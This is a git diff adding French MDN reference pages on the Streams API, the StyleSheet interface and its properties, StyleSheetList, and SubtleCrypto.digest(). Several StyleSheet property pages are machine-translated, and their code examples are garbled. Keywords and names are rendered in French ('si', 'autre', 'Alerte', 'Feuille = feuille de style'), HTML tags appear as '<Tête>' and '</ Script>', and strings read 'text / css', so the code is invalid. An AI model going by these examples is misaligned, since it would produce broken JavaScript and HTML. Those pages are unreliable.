+ <dd>Fournit une stratégie intégrée de file d'attente basée sur la taille en octets, pouvant être utilisée lors de la construction de flux..</dd>
+ <dt>{{domxref("CountQueuingStrategy")}}</dt>
+ <dd>Fournit une stratégie intégrée de file d'attente basée sur le comptage des chunks, pouvant être utilisée lors de la construction de flux.</dd>
+</dl>
+
+<h3 id="Extensions_vers_dautres_APIs">Extensions vers d'autres APIs</h3>
+
+<dl>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>Quand un nouvel objet <code>Request</code> est construit, vous pouvez lui passer un {{domxref("ReadableStream")}} dans la propriété <code>body</code> de son dictionnaire <code>RequestInit</code>. Cette <code>Request</code> peut alors être envoyée à un {{domxref("WindowOrWorkerGlobalScope.fetch()")}} pour initier l'appel vers le flux.</dd>
+ <dt>{{domxref("Body")}}</dt>
+ <dd>La réponse {{domxref("Body")}} retrouné par un <a href="/fr-FR/docs/Web/API/WindowOrWorkerGlobalScope/fetch">appel fetch</a> réussi est exposée par défaut comme un {{domxref("ReadableStream")}}, et peut être ratachée à un reader, etc.</dd>
+</dl>
+
+<h3 id="Interfaces_liées_aux_flux_doctets">Interfaces liées aux flux d'octets</h3>
+
+<div class="warning">
+<p><strong>Important</strong>: ces méthodes ne sont pas implémentés pour le moment, des questions ont été soulevées afin de déterminer si les détails des specs sont dans état suffisamment stable pour être implémentés. Ceci pourrait changer avec le temps.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ReadableStreamBYOBReader")}}</dt>
+ <dd>Correspond à un lecteur BYOB ("bring your own buffer") pouvant être utilisé pour lire des flux de données fourni par le développeur (c.a.d. un constructeur {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} personalisé).</dd>
+ <dt>{{domxref("ReadableByteStreamController")}}</dt>
+ <dd>Correspond à un controlleur permettant de manipuler l'état et la file d'attente interne d'un {{domxref("ReadableStream")}}. Les controlleurs de flux d'octets sont à usage des flux d'octets.</dd>
+ <dt>{{domxref("ReadableStreamBYOBRequest")}}</dt>
+ <dd>Correspond à un <em>pull</em> dans une requête {{domxref("ReadableByteStreamController")}}.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>We have created a directory of examples to go along with the Streams API documentation — see <a href="https://github.com/mdn/dom-examples/tree/master/streams">mdn/dom-examples/streams</a>. The examples are as follows:</p>
+
+<ul>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-pump/">Simple stream pump</a>: This example shows how to consume a ReadableStream and pass its data to another.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/grayscale-png/">Grayscale a PNG</a>: This example shows how a ReadableStream of a PNG can be turned into grayscale.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-random-stream/">Simple random stream</a>: This example shows how to use a custom stream to generate random strings, enqueue them as chunks, and then read them back out again.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-tee-example/">Simple tee example</a>: This example extends the Simple random stream example, showing how a stream can be teed and both resulting streams can be read independently.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-writer/">Simple writer</a>: This example shows how to to write to a writable stream, then decode the stream and write the contents to the UI.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/png-transform-stream/">Unpack chunks of a PNG</a>: This example shows how <a href="https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream/pipeThrough"><code>pipeThrough()</code></a> can be used to transform a ReadableStream into a stream of other data types by transforming a data of a PNG file into a stream of PNG chunks.</li>
+</ul>
+
+<p>Examples from other developers:</p>
+
+<ul>
+ <li><a href="https://fetch-progress.anthum.com/">Progress Indicators with Streams, Service Workers, &amp; Fetch</a>.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Streams')}}</td>
+   <td>{{Spec2('Streams')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<h3 id="ReadableStream">ReadableStream</h3>
+
+<p>{{Compat("api.ReadableStream")}}</p>
+
+<h3 id="WritableStream">WritableStream</h3>
+
+<p>{{Compat("api.WritableStream")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Concepts">Streams API concepts</a></li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams">Using readable streams</a></li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Using writable streams</a></li>
+</ul>
diff --git a/files/fr/web/api/stylesheet/disabled/index.html b/files/fr/web/api/stylesheet/disabled/index.html
new file mode 100644
index 0000000000..d338299bf1
--- /dev/null
+++ b/files/fr/web/api/stylesheet/disabled/index.html
@@ -0,0 +1,25 @@
+---
+title: StyleSheet.disabled
+slug: Web/API/StyleSheet/disabled
+translation_of: Web/API/StyleSheet/disabled
+---
+<div><font><font>{{APIRef("CSSOM")}}</font></font></div>
+
+<p><font><font>La </font></font><code><strong>StyleSheet.disabled</strong></code><font><font>propriété indique si la feuille de style est empêchée de demander le document. </font><font>Une feuille de style peut être désactivé en réglant manuellement cette propriété </font></font><code>true</code><font><font>ou si elle est une forme </font><font>inactive </font></font><a href="/en-US/docs/Web/CSS/Alternative_style_sheets"><font><font>feuille de style alternatif</font></font></a><font><font> . </font><font>Notez que </font></font><code>disabled == false</code><font><font>ne garantit pas la feuille de style est appliquée (il pourrait être supprimé du document, par exemple).</font></font></p>
+
+<h2 id="Syntax" name="Syntax"><font><font>Syntaxe</font></font></h2>
+
+<pre class="eval"><em><font><font>bool</font></font></em><font><font> = stylesheet.disabled
+</font></font></pre>
+
+<h2 id="Example" name="Example"><font><font>Exemple</font></font></h2>
+
+<pre><font><font>// si la feuille de style est désactivé ... </font></font><font><font>
+si (stylesheet.disabled) {</font></font><font><font>
+   // appliquer le style en ligne </font></font>
+}
+</pre>
+
+<h2 id="Specification" name="Specification"><font><font>spécification</font></font></h2>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-disabled"><font><font>désactivée </font></font></a></p>
diff --git a/files/fr/web/api/stylesheet/href/index.html b/files/fr/web/api/stylesheet/href/index.html
new file mode 100644
index 0000000000..f1ff1da5ea
--- /dev/null
+++ b/files/fr/web/api/stylesheet/href/index.html
@@ -0,0 +1,51 @@
+---
+title: Stylesheet.href
+slug: Web/API/StyleSheet/href
+translation_of: Web/API/StyleSheet/href
+---
+<div><font><font>{{APIRef ("CSSOM")}}</font></font></div>
+
+<h2 id="Summary" name="Summary"><font><font>Résumé</font></font></h2>
+
+<p><font><font>Renvoie l'emplacement de la feuille de style.</font></font></p>
+
+<h2 id="Syntax" name="Syntax"><font><font>Syntaxe</font></font></h2>
+
+<pre class="eval"><em><font><font>Uri</font></font></em><font><font> = stylesheet.href
+</font></font></pre>
+
+<h3 id="Parameters" name="Parameters"><font><font>Paramètres</font></font></h3>
+
+<ul>
+ <li><code>uri</code><font><font> Est une chaîne contenant l'URI de la feuille de style.</font></font></li>
+</ul>
+
+<h2 id="Example" name="Example"><font><font>Exemple</font></font></h2>
+
+<pre><font><font> // sur une machine locale: </font></font><font><font>
+ &lt;Html&gt; </font></font><font><font>
+  &lt;Tête&gt; </font></font><font><font>
+   &lt;Link rel = "StyleSheet" href = "example.css" type = "text / css" /&gt; </font></font><font><font>
+   &lt;Script&gt; </font></font><font><font>
+    Function sref () { </font></font><font><font>
+     Alerte (document.styleSheets [0] .href); </font></font><font><font>
+    }</font></font><font><font>
+   &lt;/ Script&gt; </font></font><font><font>
+  &lt;/ Head&gt; </font></font><font><font>
+  &lt;Body&gt; </font></font><font><font>
+   &lt;Div class = "tonnerre"&gt; Thunder &lt;/ div&gt;</font></font><font><font>
+   &lt;Button onclick = "sref ()"&gt; ss &lt;/ button&gt;</font></font><font><font>
+  &lt;/ Body&gt; </font></font><font><font>
+ &lt;/ Html&gt;</font></font><font><font>
+// retourne "fichier: //// C: /Windows/Desktop/example.css</font></font>
+</pre>
+
+<h2 id="Notes" name="Notes"><font><font>Remarques</font></font></h2>
+
+<p><font><font>Si la feuille de style est une feuille de style liée, la valeur de son attribut est son emplacement. </font><font>Pour les feuilles de style en ligne, la valeur de cet attribut est </font></font><code>NULL</code><font><font>.</font></font></p>
+
+<p><font><font>Cette propriété est en lecture seule sur Firefox, Opera, Google Chrome et Safari, et elle est lue / écrite dans Internet Explorer.</font></font></p>
+
+<h2 id="Specification" name="Specification"><font><font>spécification</font></font></h2>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-href"><font><font>Href </font></font></a></p>
diff --git a/files/fr/web/api/stylesheet/index.html b/files/fr/web/api/stylesheet/index.html
new file mode 100644
index 0000000000..3f79c427bc
--- /dev/null
+++ b/files/fr/web/api/stylesheet/index.html
@@ -0,0 +1,69 @@
+---
+title: StyleSheet
+slug: Web/API/StyleSheet
+tags:
+  - API
+  - CSS
+  - DOM
+  - Interface
+  - StyleSheet
+translation_of: Web/API/StyleSheet
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p>Un objet qui implémente l'interface <code>StyleSheet</code> représente une seule feuille de style. Les feuilles de style CSS implémenteront également l'interface plus spécialisée {{domxref("CSSStyleSheet")}}.</p>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("StyleSheet.disabled")}}</dt>
+ <dd>Un booléen ({{domxref("Boolean")}}) indiquant si la feuille de style est appliquée ou non.</dd>
+ <dt>{{domxref("StyleSheet.href")}} {{readonlyInline}}</dt>
+ <dd>Une chaîne de caractères ({{domxref("DOMString")}}) représentant l'emplacement de la feuille de style.</dd>
+ <dt>{{domxref("StyleSheet.media")}} {{readonlyInline}}</dt>
+ <dd>Une {{domxref("MediaList")}} représentant le média de destination pour les informations de style.</dd>
+ <dt>{{domxref("StyleSheet.ownerNode")}} {{readonlyInline}}</dt>
+ <dd>Un objet {{domxref("Node")}} qui représente le nœud associant cette feuille de style avec le document courant.</dd>
+ <dt>{{domxref("StyleSheet.parentStyleSheet")}} {{readonlyInline}}</dt>
+ <dd>Un objet {{domxref("StyleSheet")}} qui inclut l'objet courant si ce dernier possède un parent ou <code>null</code> s'il n'y en a pas.</dd>
+ <dt>{{domxref("StyleSheet.title")}} {{readonlyInline}}</dt>
+ <dd>Une chaîne de caractères ({{domxref("DOMString")}}) indiquant le titre indicatif de la feuille de style courante.</dd>
+ <dt>{{domxref("StyleSheet.type")}} {{readonlyInline}}</dt>
+ <dd>Une chaîne de caractères {{domxref("DOMString")}} indiquant le langage de représentation pour cette feuille de style.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#stylesheet', 'StyleSheet')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM2 Style')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-StyleSheet', 'StyleSheet')}}</td>
+   <td>{{Spec2('DOM2 Style')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.StyleSheet")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet")}}</li>
+</ul>
diff --git a/files/fr/web/api/stylesheet/media/index.html b/files/fr/web/api/stylesheet/media/index.html
new file mode 100644
index 0000000000..89c03f7438
--- /dev/null
+++ b/files/fr/web/api/stylesheet/media/index.html
@@ -0,0 +1,35 @@
+---
+title: StyleSheet.media
+slug: Web/API/StyleSheet/media
+translation_of: Web/API/StyleSheet/media
+---
+<div><font><font>{{APIRef ("CSSOM")}}</font></font></div>
+
+<h2 id="Summary" name="Summary"><font><font>Résumé</font></font></h2>
+
+<p><strong><font><font>Media</font></font></strong><font><font> spécifie le support de destination prévu pour les informations de style.</font></font></p>
+
+<h2 id="Syntax" name="Syntax"><font><font>Syntaxe</font></font></h2>
+
+<pre class="eval"><em><font><font>Medium</font></font></em><font><font> = stylesheet.media</font></font><font><font>
+Stylesheet.media = </font></font><em><font><font>medium</font></font></em>
+</pre>
+
+<h2 id="Parameters" name="Parameters"><font><font>Paramètres</font></font></h2>
+
+<ul>
+ <li><code>medium</code><font><font> Est une chaîne décrivant un seul moyen ou une liste séparée par des virgules.</font></font></li>
+</ul>
+
+<h2 id="Example" name="Example"><font><font>Exemple</font></font></h2>
+
+<pre><font><font>&lt;Link rel = "StyleSheet" href = "document.css" type = "text / css" media = "screen" /&gt;
+</font></font></pre>
+
+<h2 id="Notes" name="Notes"><font><font>Remarques</font></font></h2>
+
+<p><font><font>La valeur par défaut pour les médias est "écran".</font></font></p>
+
+<h2 id="Specification" name="Specification"><font><font>spécification</font></font></h2>
+
+<p><font><font>DOM Styles de niveau 2 - FEUILLE DE STYLES</font></font></p>
diff --git a/files/fr/web/api/stylesheet/ownernode/index.html b/files/fr/web/api/stylesheet/ownernode/index.html
new file mode 100644
index 0000000000..b1f3d9c1e3
--- /dev/null
+++ b/files/fr/web/api/stylesheet/ownernode/index.html
@@ -0,0 +1,41 @@
+---
+title: StyleSheet.ownerNode
+slug: Web/API/StyleSheet/ownerNode
+translation_of: Web/API/StyleSheet/ownerNode
+---
+<div><font><font>{{APIRef ("CSSOM")}}</font></font></div>
+
+<h2 id="Summary" name="Summary"><font><font>Résumé</font></font></h2>
+
+<p><strong><font><font>OwnerNode</font></font></strong><font><font> renvoie le noeud qui associe cette feuille de style au document.</font></font></p>
+
+<h2 id="Syntax" name="Syntax"><font><font>Syntaxe</font></font></h2>
+
+<pre class="eval"><em><font><font>ObjRef</font></font></em><font><font> = stylesheet.ownerNode
+</font></font></pre>
+
+<h2 id="Example" name="Example"><font><font>Exemple</font></font></h2>
+
+<pre class="eval"><font><font>&lt;Html&gt;</font></font><font><font>
+ &lt;Tête&gt;</font></font><font><font>
+  &lt;Link rel = "StyleSheet" href = "example.css" type = "text / css" /&gt;</font></font><font><font>
+  &lt;Script&gt;</font></font><font><font>
+   Function stilo () {</font></font><font><font>
+    Alerte (document.styleSheets [0] .ownerNode);</font></font><font><font>
+   }</font></font><font><font>
+  &lt;/ Script&gt; </font></font><font><font>
+ &lt;/ Head&gt;</font></font><font><font>
+ &lt;Body&gt;</font></font><font><font>
+   &lt;Button onclick = "stilo ()"&gt; ss &lt;/ button&gt;</font></font><font><font>
+ &lt;/ Body&gt;</font></font><font><font>
+&lt;/ Html&gt;</font></font><font><font>
+// affiche "objet HTMLLinkElement"</font></font>
+</pre>
+
+<h2 id="Notes" name="Notes"><font><font>Remarques</font></font></h2>
+
+<p><font><font>Pour HTML, </font></font><strong><font><font>ownerNode</font></font></strong><font><font> peut être l' </font><font>élément </font></font><a href="en/LINK"><font><font>LINK</font></font></a><font><font> ou </font></font><a href="en/STYLE"><font><font>STYLE</font></font></a><font><font> correspondant </font><font>. </font><font>Pour XML, il peut s'agir des instructions de traitement de liaison. </font><font>Pour les feuilles de style qui sont incluses dans d'autres feuilles de style, la valeur de cet attribut est NULL.</font></font></p>
+
+<h2 id="Specification" name="Specification"><font><font>spécification</font></font></h2>
+
+<p><font><font>DOM Styles de niveau 2 - FEUILLE DE STYLES</font></font></p>
diff --git a/files/fr/web/api/stylesheet/parentstylesheet/index.html b/files/fr/web/api/stylesheet/parentstylesheet/index.html
new file mode 100644
index 0000000000..8db8ffbff9
--- /dev/null
+++ b/files/fr/web/api/stylesheet/parentstylesheet/index.html
@@ -0,0 +1,36 @@
+---
+title: StyleSheet.parentStyleSheet
+slug: Web/API/StyleSheet/parentStyleSheet
+translation_of: Web/API/StyleSheet/parentStyleSheet
+---
+<div>
+<div><font><font>{{APIRef ("CSSOM")}}</font></font></div>
+</div>
+
+<h2 id="Summary" name="Summary"><font><font>Résumé</font></font></h2>
+
+<p><font><font>Renvoie la feuille de style qui inclut celle-ci, le cas échéant.</font></font></p>
+
+<h2 id="Syntax" name="Syntax"><font><font>Syntaxe</font></font></h2>
+
+<pre class="syntaxbox"><em><font><font>ObjRef</font></font></em><font><font> = stylesheet.parentStyleSheet
+</font></font></pre>
+
+<h2 id="Example" name="Example"><font><font>Exemple</font></font></h2>
+
+<pre class="brush:js"><font><font>// trouve la feuille de style de niveau supérieur</font></font><font><font>
+If (stylesheet.parentStyleSheet) {</font></font><font><font>
+    Feuille = stylesheet.parentStyleSheet;</font></font><font><font>
+} autre {</font></font><font><font>
+    Feuille = feuille de style;</font></font><font><font>
+}</font></font></pre>
+
+<h2 id="Notes" name="Notes"><font><font>Remarques</font></font></h2>
+
+<p><font><font>Cette propriété renvoie NULL est la feuille de style actuelle est une feuille de style de haut niveau ou si l'inclusion de la feuille de style n'est pas prise en charge.</font></font></p>
+
+<h2 id="Specification" name="Specification"><font><font>spécification</font></font></h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-parentStyleSheet"><font><font>ParentStyleSheet </font></font></a></li>
+</ul>
diff --git a/files/fr/web/api/stylesheet/title/index.html b/files/fr/web/api/stylesheet/title/index.html
new file mode 100644
index 0000000000..a33fd45920
--- /dev/null
+++ b/files/fr/web/api/stylesheet/title/index.html
@@ -0,0 +1,22 @@
+---
+title: StyleSheet.title
+slug: Web/API/StyleSheet/title
+translation_of: Web/API/StyleSheet/title
+---
+<div>
+<div><font><font>{{APIRef ("CSSOM")}}</font></font></div>
+</div>
+
+<h2 id="Summary" name="Summary"><font><font>Résumé</font></font></h2>
+
+<p><code>title</code><font><font> Renvoie le titre de conseil de la feuille de style actuelle.</font></font></p>
+
+<h2 id="Notes" name="Notes"><font><font>Remarques</font></font></h2>
+
+<p><font><font>Le titre est souvent spécifié dans {{domxref ("StyleSheet / OwnerNode", "ownerNode")}}.</font></font></p>
+
+<h2 id="Specification" name="Specification"><font><font>spécification</font></font></h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-title"><font><font>Titre </font></font></a></li>
+</ul>
diff --git a/files/fr/web/api/stylesheet/type/index.html b/files/fr/web/api/stylesheet/type/index.html
new file mode 100644
index 0000000000..eb315e2871
--- /dev/null
+++ b/files/fr/web/api/stylesheet/type/index.html
@@ -0,0 +1,24 @@
+---
+title: StyleSheet.type
+slug: Web/API/StyleSheet/type
+translation_of: Web/API/StyleSheet/type
+---
+<div><font><font>{{APIRef ("CSSOM")}}</font></font></div>
+
+<h2 id="Summary" name="Summary"><font><font>Résumé</font></font></h2>
+
+<p><font><font>Type spécifie la langue de la feuille de style pour cette feuille de style.</font></font></p>
+
+<h2 id="Syntax" name="Syntax"><font><font>Syntaxe</font></font></h2>
+
+<pre class="eval"><em><font><font>String</font></font></em><font><font> = stylesheet.type
+</font></font></pre>
+
+<h2 id="Example" name="Example"><font><font>Exemple</font></font></h2>
+
+<pre><font><font> Ss.type = "text / css";
+</font></font></pre>
+
+<h2 id="Specification" name="Specification"><font><font>spécification</font></font></h2>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-type"><font><font>type </font></font></a></p>
diff --git a/files/fr/web/api/stylesheetlist/index.html b/files/fr/web/api/stylesheetlist/index.html
new file mode 100644
index 0000000000..37436f0469
--- /dev/null
+++ b/files/fr/web/api/stylesheetlist/index.html
@@ -0,0 +1,31 @@
+---
+title: StyleSheetList
+slug: Web/API/StyleSheetList
+tags:
+  - API
+  - CSSDOM
+  - NeedsContent
+  - NeedsUpdate
+translation_of: Web/API/StyleSheetList
+---
+<p>{{APIRef("CSSOM")}}</p>
+
+<p>L'interface <span style="font-family: consolas,monaco,andale mono,monospace;">StyleSheetList représente une liste de </span>{{domxref("StyleSheet")}}.</p>
+
+<p>Il s'agit d'un objet de type array, mais qui ne peut pas être itéré à l'aide de la méthode {{jsxref("Array")}}. Il peut néanmoins être itéré dans une boucle {{jsxref("Statements/for", "for")}} standard en utilisant ses indices, ou converti en un {{jsxref("Array")}}. </p>
+
+<h2 id="Example" name="Example" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemple</h2>
+
+<pre class="brush: js">// Récupère toutes les règles CSS du document en cours en utilisant les méthodes de Array
+var allCSS = [].slice.call(document.styleSheets)
+                     .reduce(function (prev, styleSheet) {
+        if (styleSheet.cssRules) {
+            return prev +
+                [].slice.call(styleSheet.cssRules)
+                        .reduce(function (prev, cssRule) {
+                    return prev + cssRule.cssText;
+                });
+        } else {
+            return prev;
+        }
+    });</pre>
diff --git a/files/fr/web/api/subtlecrypto/digest/index.html b/files/fr/web/api/subtlecrypto/digest/index.html
new file mode 100644
index 0000000000..091a59de28
--- /dev/null
+++ b/files/fr/web/api/subtlecrypto/digest/index.html
@@ -0,0 +1,135 @@
+---
+title: SubtleCrypto.digest()
+slug: Web/API/SubtleCrypto/digest
+translation_of: Web/API/SubtleCrypto/digest
+---
+<div>{{APIRef("Web Crypto API")}}{{SecureContext_header}}</div>
+
+<p>La méthode <code><strong>digest()</strong></code> de l'interface {{domxref("SubtleCrypto")}} génère un {{Glossary("digest")}} de la donnée fournie. Un condensé est une petite valeur de taille fixe issue d'une donnée de taille variable. Les condensés cryptographiques doivent résister à la collision, ce qui signifie qu'il doit être très difficile d'obtenir le même condensé à partir de deux entrés différentes.</p>
+
+<p>Il prend en argument un identifiant pour l'algorithme de condensé et les données à traiter. Il retourne une {{jsxref("Promise")}} qui contiendra le condensé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const digest = <em>crypto</em><code>.subtle.digest(<em>algorithm</em>, <em>data</em>)</code>;
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+ <li><em><code>algorithm</code></em> est une {{domxref("DOMString")}} indiquant la fonction de condensé à utiliser. Les valeurs possibles sont:
+
+  <ul>
+   <li><code>SHA-1</code> (ne pas utiliser pour des applications cryptographiques)</li>
+   <li><code>SHA-256</code></li>
+   <li><code>SHA-384</code></li>
+   <li><code>SHA-512</code>.</li>
+  </ul>
+ </li>
+ <li><em><code>data</code></em> est un {{jsxref("ArrayBuffer")}} ou un {{domxref("ArrayBufferView")}} contenant les données à traiter.</li>
+</ul>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<ul>
+ <li><code><em>digest</em></code> est une {{jsxref("Promise")}} pour accéder {{jsxref("ArrayBuffer")}} au condensé.</li>
+</ul>
+
+<h2 id="Algorithmes_supportés">Algorithmes supportés</h2>
+
+<p>Les algorithmes de condensé, aussi connue sous le nom de <a href="/fr/docs/Glossaire/Fonction_de_hachage_cryptographique">fonctions de hachage cryptographique</a>, transforme un bloque de données de longueur arbitraire dans un résultat de taille fixe, souvent plus petit que l'entré. Ils ont de nombreuses utilisations en cryptographie.</p>
+
+<h3 id="SHA-1">SHA-1</h3>
+
+<p>Cet algorithme est spécifié dans <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, section 6.1, et produit un résultat de 160 bits de long.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Avertissement:</strong> Cet algorithme est maintenant considérer comme vulnérable et ne doit pas être utilisé pour des applications cryptographiques.</p>
+</div>
+
+<h3 id="SHA-256">SHA-256</h3>
+
+<p>Cet algorithme est spécifié dans <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, section 6.2, et produit un résultat de 256 bits de long.</p>
+
+<h3 id="SHA-384">SHA-384</h3>
+
+<p>Cet algorithme est spécifié dans <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, section 6.5, et produit un résultat de 384 bits de long.</p>
+
+<h3 id="SHA-512">SHA-512</h3>
+
+<p>Cet algorithme est spécifié dans <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, section 6.4, et produit un résultat de 512 bits de long.</p>
+
+<div class="blockIndicator note">
+<p>Indice: Si vous cherchez à créer un condensé pour authentifié un message (<a href="/fr/docs/Glossary/HMAC">HMAC</a>), vous aurez plutôt besoin de <a href="/en-US/docs/Web/API/SubtleCrypto/sign#HMAC">SubtleCrypto.sign()</a>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_basique">Exemple basique</h3>
+
+<p>Cet exemple encode un message, puis calcule le condensé avec SHA-256, enfin affiche la longueur du résultat.</p>
+
+<pre class="brush: js notranslate">const text = 'Un obscur message venant du le système S-K, votre majesté. Ses habitants le nomment la planète Terre.';
+
+async function digestMessage(message) {
+  const encoder = new TextEncoder();
+  const data = encoder.encode(message);
+  const hash = await crypto.subtle.digest('SHA-256', data);
+  return hash;
+}
+
+const digestBuffer = await digestMessage(text);
+console.log(digestBuffer.byteLength);
+</pre>
+
+<h3 id="Convertir_un_condensé_vers_une_chaîne_hexadécimale">Convertir un condensé vers une chaîne hexadécimale</h3>
+
+<p>Le condensé est retourné sous forme d'un <code>ArrayBuffer</code>, mais la comparaison et l'affichage se fait souvent avec des chaînes hexadécimales. Cet exemple calcule un condensé puis converti l'<code>ArrayBuffer</code> vers une chaîne hexadécimale.</p>
+
+<pre class="brush: js notranslate">const text = 'Un obscur message venant du le système S-K, votre majesté. Ses habitants le nomment la planète Terre.';
+
+async function digestMessage(message) {
+  const msgUint8 = new TextEncoder().encode(message);                           // encode comme (utf-8) Uint8Array
+  const hashBuffer = await crypto.subtle.digest('SHA-256', msgUint8);           // fait le condensé
+  const hashArray = Array.from(new Uint8Array(hashBuffer));                     // convertit le buffer en tableau d'octet
+  const hashHex = hashArray.map(b =&gt; b.toString(16).padStart(2, '0')).join(''); // convertit le tableau en chaîne hexadélimale
+  return hashHex;
+}
+
+const digestHex = await digestMessage(text);
+console.log(digestHex);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Statue</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#dfn-SubtleCrypto-method-digest', 'SubtleCrypto.digest()')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Définition intiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.SubtleCrypto.digest")}}</p>
+
+<div class="blockIndicator note">
+<p> Dans Chrome 60, une fonctionnalité a été ajoutée qui désactive <strong>crypto.subtle</strong> pour les connexions non TLS.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.chromium.org/Home/chromium-security/prefer-secure-origins-for-powerful-new-features">(en) Chromium secure origins specification</a></li>
+ <li><a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf" rel="noopener">(en) FIPS 180-4</a> spécifie les algorithmes de condensé de la famille SHA.</li>
+</ul>
diff --git a/files/fr/web/api/subtlecrypto/index.html b/files/fr/web/api/subtlecrypto/index.html
new file mode 100644
index 0000000000..6788ee5bdb
--- /dev/null
+++ b/files/fr/web/api/subtlecrypto/index.html
@@ -0,0 +1,298 @@
+---
+title: SubtleCrypto
+slug: Web/API/SubtleCrypto
+tags:
+  - API
+  - Advanced
+  - Cryptography
+  - Encryption
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - SubtleCrypto
+  - TopicStub
+  - Web Crypto API
+translation_of: Web/API/SubtleCrypto
+---
+<div>{{APIRef("Web Crypto API")}}{{SecureContext_header}}</div>
+
+<p><span class="seoSummary">The <code><strong>SubtleCrypto</strong></code> interface of the <a href="/en-US/docs/Web/API/Web_Crypto_API">Web Crypto API</a> provides a number of low-level cryptographic functions. Access to the features of <code>SubtleCrypto</code> is obtained through the {{domxref("Crypto.subtle", "subtle")}} property of the {{domxref("Crypto")}} object you get from {{domxref("Window.crypto")}}.</span></p>
+
+<div class="warning">
+<p><strong>Warning:</strong> This API provides a number of low-level cryptographic primitives. It's very easy to misuse them, and the pitfalls involved can be very subtle.</p>
+
+<p>Even assuming you use the basic cryptographic functions correctly, secure key management and overall security system design are extremely hard to get right, and are generally the domain of specialist security experts.</p>
+
+<p>Errors in security system design and implementation can make the security of the system completely ineffective.</p>
+
+<p><strong>If you're not sure you know what you are doing, you probably shouldn't be using this API.</strong></p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
